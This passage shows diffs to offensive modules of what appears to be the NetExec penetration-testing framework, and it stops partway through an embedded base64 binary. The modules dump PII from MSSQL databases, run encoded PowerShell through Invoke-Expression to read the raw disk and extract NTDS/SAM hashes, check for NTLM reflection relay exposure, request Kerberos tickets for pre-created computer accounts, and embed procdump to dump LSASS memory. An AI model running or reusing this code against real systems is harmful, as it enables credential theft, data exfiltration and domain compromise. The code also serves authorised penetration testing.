table_name = table.get("table_name", "")
try:
columns = connection.conn.sql_query(f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'")
# find matching columns
search_keys = []
if self.use_preset:
search_keys += self.pii()
if self.like_search:
search_keys += self.like_search
matched = [col for col in columns if any(key in col["column_name"].lower() for key in search_keys)]
if matched:
column_str = ", ".join(f"[{c['column_name']}]" for c in matched)
context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}")
data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]")
for row in data:
decoded_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()}
if self.show_data:
context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in decoded_data.items()))
all_results.append({
"type": "column_match",
"database": db_name,
"table": table_name,
"row": {k: v.strip() for k, v in decoded_data.items()}
})
except Exception as e:
context.log.fail(f"Failed to inspect table {table_name} in {db_name}: {e}")
# If regex patterns are provided, scan all cell values in the table for matches
if self.regex_patterns:
try:
full_data = connection.conn.sql_query(f"SELECT * FROM [{table_name}]")
for row in full_data:
matched_cells = {}
for col, val in row.items():
val_str = val.decode("utf-8", "replace").strip() if isinstance(val, bytes) else str(val).strip()
# Check if any of the cells in the row match any of the regex patterns
for pattern in self.regex_patterns:
if pattern.search(val_str):
matched_cells[col] = val_str
break
if matched_cells:
match_str = ", ".join(f"{k}: {v}" for k, v in matched_cells.items())
if self.show_data:
context.log.highlight(f"{db_name}.{table_name} => Regex Match => {match_str}")
all_results.append({
"type": "regex_match",
"database": db_name,
"table": table_name,
"matched_cells": matched_cells
})
except Exception as e:
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
if self.save and all_results:
filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
os.makedirs(file_path.parent, exist_ok=True)
with open(file_path, "w") as f:
json.dump(all_results, f, indent=2)
context.log.success(f"Data saved to {file_path}")
+1 -1
View File
@@ -446,7 +446,7 @@ class NXCModule:
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
try:
if is_admin is not None and int(is_admin):
if is_admin != "NULL" and int(is_admin):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
-4
View File
@@ -19,10 +19,6 @@ class NXCModule:
"""No options available"""
def on_login(self, context, connection):
if not connection.username:
context.log.fail("Module requires a username to request TGTs")
return
user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
tgt_with_pac, cipher, old_session_key, session_key = getKerberosTGT(
+5 -10
View File
@@ -115,10 +115,8 @@ class NXCModule:
# scary base64 powershell code :)
# This to read the PhysicalDrive0 file
get_data_script = f"""powershell.exe -c "$base64Cmd = '{self.ps_script_b64}';$decodedCmd = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64Cmd)) + '; read_disk {offset} {fixed_size}'; Invoke-Expression $decodedCmd" """
if self.connection.__class__.__name__ == "wmi":
if self.connection.__class__.__name__ == "wmi": # noqa: SIM108
data_output = self.connection.execute_psh(get_data_script, True)
elif self.connection.__class__.__name__ == "smb":
data_output = self.execute(get_data_script, True, ["smbexec"])
else:
data_output = self.execute(get_data_script, True)
self.logger.debug(f"{offset=},{size=},{fixed_size=}")
@@ -176,11 +174,8 @@ class NXCModule:
if self.number_of_file_to_extract != 0:
self.logger.fail("Unable to find all needed files, trying to work with what we have")
if "SYSTEM" in self.extracted_files_location_local and self.extracted_files_location_local["SYSTEM"] != "":
self.logger.success("Heads up, hashes on the way...")
self.dump_hashes()
else:
self.logger.fail("SYSTEM file not found, unable to proceed with hash extraction")
self.logger.success("Heads up, hashes on the way...")
self.dump_hashes()
def dump_hashes(self):
"""Dumping NTDS and SAM hashes locally from the extracted files"""
@@ -519,10 +514,10 @@ class NXCModule:
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
+31 -36
View File
@@ -8,9 +8,8 @@ from impacket.nmb import NetBIOSError
class NXCModule:
# https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
name = "ntlm_reflection"
description = "[REMOVED] This module has been integrated into the enum_cve module."
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -47,40 +46,36 @@ class NXCModule:
return ubr < min_patched_ubr
def on_login(self, context, connection):
context.log.fail("[REMOVED] This module has been integrated into the enum_cve module.")
return
self.context = context
self.connection = connection
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None
dce.disconnect()
if not version_str:
self.context.log.info("Could not determine OS version from registry")
return
vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr)
if vuln:
if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled
context.log.highlight(f"VULNERABLE (can relay SMB to any protocol on {self.context.log.extra['host']})")
if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None
dce.disconnect()
if not version_str:
self.context.log.info("Could not determine OS version from registry")
return
vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr)
if vuln:
context.log.highlight(f"VULNERABLE to {self.name}! {connection.server_os} ({version_str})")
except SessionError as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.context.log.info(f"RemoteRegistry is probably deactivated: {e}")
else:
context.log.highlight(f"VULNERABLE (can relay SMB to other protocols except SMB on {self.context.log.extra['host']})")
except SessionError as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.context.log.info(f"RemoteRegistry is probably deactivated: {e}")
else:
self.context.log.debug(f"Unexpected error: {e}")
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}")
self.context.log.debug(f"Unexpected error: {e}")
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}")
-85
View File
@@ -1,85 +0,0 @@
from nxc.helpers.misc import CATEGORY
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.smbconnection import SessionError
from configparser import ConfigParser
class NXCModule:
"""Module by @NeffIsBack
Based on the paper "Onelogon: Taking over Active Directory Accounts via Netlogon": https://softsec.rub.de/files/pdf/woot2026-onelogon.pdf
"""
name = "onelogon"
description = "Scan GPOs and registry for machine accounts vulnerable to Onelogon"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
def output_callback(data):
self.gpo_data += data
found_dacls = []
policies = connection.conn.listPath("SYSVOL", f"{connection.targetDomain}/Policies/*")
for policy in policies:
# Skip "." and ".." directory pointers to avoid path errors
if policy.get_longname() in [".", ".."]:
continue
try:
self.gpo_data = b""
connection.conn.getFile("SYSVOL", f"{connection.targetDomain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback)
try:
decoded_data = self.gpo_data.decode("utf-8")
except UnicodeDecodeError:
context.log.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...")
decoded_data = self.gpo_data.decode("utf-16")
# Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables.
# Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like:
# "WinRM",2,""
# which require allow_no_value=True to avoid ParsingError.
config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True)
config_parser.read_string(decoded_data)
for section in config_parser.sections():
for key, value in config_parser.items(section):
if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower():
context.log.debug(f"Found vulnerable channel allow list: {value}")
try:
# Strip the surrounding double quotes from the extracted string
found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')})
except Exception as e:
context.log.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}")
except SessionError as e:
# Catch and safely ignore expected "file not found" errors for policies without security settings
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
pass
else:
context.log.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}")
except Exception as e:
context.log.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}")
if found_dacls:
context.log.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.")
for dacl in found_dacls:
context.log.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'")
else:
context.log.error("No matching policies found in SYSVOL Share.")
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"]
value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00")
context.log.success(f"Found VulnerableChannelAllowList registry configuration: {value}")
except Exception as e:
context.log.error(f"Error while querying registry: {e}")
+18 -47
View File
@@ -19,28 +19,17 @@ class NXCModule:
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
ALL Attempt to authenticate for every computer object in the domain (default: False)
Examples:
nxc ldap $IP -u $USER -p $PASSWORD -M pre2k
nxc ldap $IP -u $USER -p $PASSWORD -M pre2k -o ALL=True
"""
self.all_option = module_options.get("ALL", "").lower() in ["true", "1", "yes"]
"""No options available"""
def on_login(self, context, connection):
# Define the search filter
if self.all_option:
search_filter = "(&(objectClass=computer))"
else:
search_filter = "(&(objectClass=computer)(userAccountControl=4128))" # 4128 = 4096 (WORKSTATION_TRUST_ACCOUNT) | 32 (WORKSTATION_TRUST_ACCOUNT)
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
computers = {}
computers = []
try:
# Use paged search to retrieve all computer accounts with specific flags
@@ -50,39 +39,27 @@ class NXCModule:
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
computers[computer["sAMAccountName"]] = computer["userAccountControl"]
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
output_file = os.path.join(domain_dir, "precreated_computers.txt")
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
with open(output_file_pre2k, "w") as pre2k_file, open(output_file_non_pre2k, "w") as non_pre2k_file:
for computer, uac in computers.items():
if int(uac) == 4128:
pre2k_file.write(f"{computer}\n")
else:
non_pre2k_file.write(f"{computer}\n")
with open(output_file, "w") as file:
for computer in computers:
file.write(f"{computer}\n")
# Print discovered (pre-created) computer accounts
# Print discovered pre-created computer accounts
if computers:
for computer, uac in computers.items():
if int(uac) == 4128:
context.log.highlight(f"Pre-created computer account: {computer}")
else:
context.log.debug(f"Computer account: {computer}")
counter_pre2k = len([v for v in computers.values() if int(v) == 4128])
counter_non_pre2k = len([v for v in computers.values() if int(v) != 4128])
if counter_pre2k != 0:
context.log.success(f"Found {counter_pre2k} pre-created computer accounts. Saved to {output_file_pre2k}")
if counter_non_pre2k != 0:
context.log.success(f"Found {counter_non_pre2k} normal computer accounts. Saved to {output_file_non_pre2k}")
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
else:
context.log.info("No pre-created computer accounts found.")
@@ -99,7 +76,7 @@ class NXCModule:
# Summary of TGT results
if successful_tgts > 0:
context.log.success(f"Successfully obtained TGT for {successful_tgts} (pre-created) computer accounts. Saved to {ccache_base_dir}")
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
except Exception as e:
context.log.fail(f"Error occurred during search: {e}")
@@ -124,13 +101,7 @@ class NXCModule:
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
return True
except Exception as e:
if "KDC_ERR_PREAUTH_FAILED" in str(e):
if self.all_option:
context.log.debug(f"Failed to get TGT for {username}@{domain}: KDC_ERR_PREAUTH_FAILED")
else:
context.log.fail(f"Failed to get TGT for {username}@{domain}: KDC_ERR_PREAUTH_FAILED")
else:
context.log.fail(f"Error obtaining TGT for {username}@{domain}: {e}")
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
return False
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
+31 -12
View File
@@ -1,11 +1,10 @@
import re
from impacket.dcerpc.v5 import samr, tsch
from impacket.dcerpc.v5 import samr, tsch, transport
from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from contextlib import suppress
import traceback
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -40,19 +39,36 @@ class NXCModule:
context.log.fail(str(e))
context.log.debug(traceback.format_exc())
def get_dce_rpc(self, named_pipe, dce_binding, connection, target_ip=None, auth_level=None):
return NXCRPCConnection(connection).connect(
named_pipe,
dce_binding,
target_ip=target_ip,
auth_level=auth_level or RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
def get_dce_rpc(self, target, string_binding, dce_binding, connection):
# Create a DCE/RPC transport object with the specified string binding
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(target)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
# Connect to the DCE/RPC endpoint
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(dce_binding)
return dce
def enumerate_admin_users(self, context, connection):
admin_users = []
try:
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
except Exception as e:
context.log.fail(f"Failed to connect to SAMR: {e}")
context.log.debug(traceback.format_exc())
@@ -158,7 +174,9 @@ class NXCModule:
def check_scheduled_tasks(self, context, connection, admin_users):
"""Checks scheduled tasks over rpc."""
try:
dce = self.get_dce_rpc(r"\atsvc", tsch.MSRPC_UUID_TSCHS, connection)
target = connection.remoteName if connection.kerberos else connection.host
stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]"
dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection)
# Also extract non admins where we can get the password
self.non_admins = []
@@ -182,7 +200,8 @@ class NXCModule:
non_admin_sids.add(sid.group(1))
if non_admin_sids:
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
# Get Domain Handle
server_handle = samr.hSamrConnect2(dce)["ServerHandle"]
+36 -4
View File
@@ -1,13 +1,17 @@
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, rpc_status_codes
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
from impacket.structure import Structure
from impacket.dcerpc.v5 import rprn
from nxc.helpers.rpc import NXCRPCConnection
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
from nxc.helpers.misc import CATEGORY
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
class NXCModule:
"""
@@ -23,6 +27,7 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.__string_binding = None
self.port = None
def options(self, context, module_options):
@@ -32,8 +37,35 @@ class NXCModule:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]"
context.log.info(f"Binding to {stringbinding!r}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(target)
rpctransport.set_dport(self.port)
try:
dce = NXCRPCConnection(connection).connect(r"\spoolss", rprn.MSRPC_UUID_RPRN)
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
context.log.fail(f"Failed to bind: {e}")
return False
+19 -15
View File
@@ -2,11 +2,12 @@
# thanks to pixis (@HackAndDo) for making it pretty l33t :)
# v0.4
import base64
import re
from pypykatz.pypykatz import pypykatz
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH, TMP_PATH
from nxc.paths import TMP_PATH
from os.path import abspath, join
from datetime import datetime
@@ -27,8 +28,9 @@ class NXCModule:
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
with open(join(DATA_PATH, "procdump/procdump.exe"), "rb") as f:
self.procdump_embeded = f.read()
self.procdump_embeded = base64.b64decode(
"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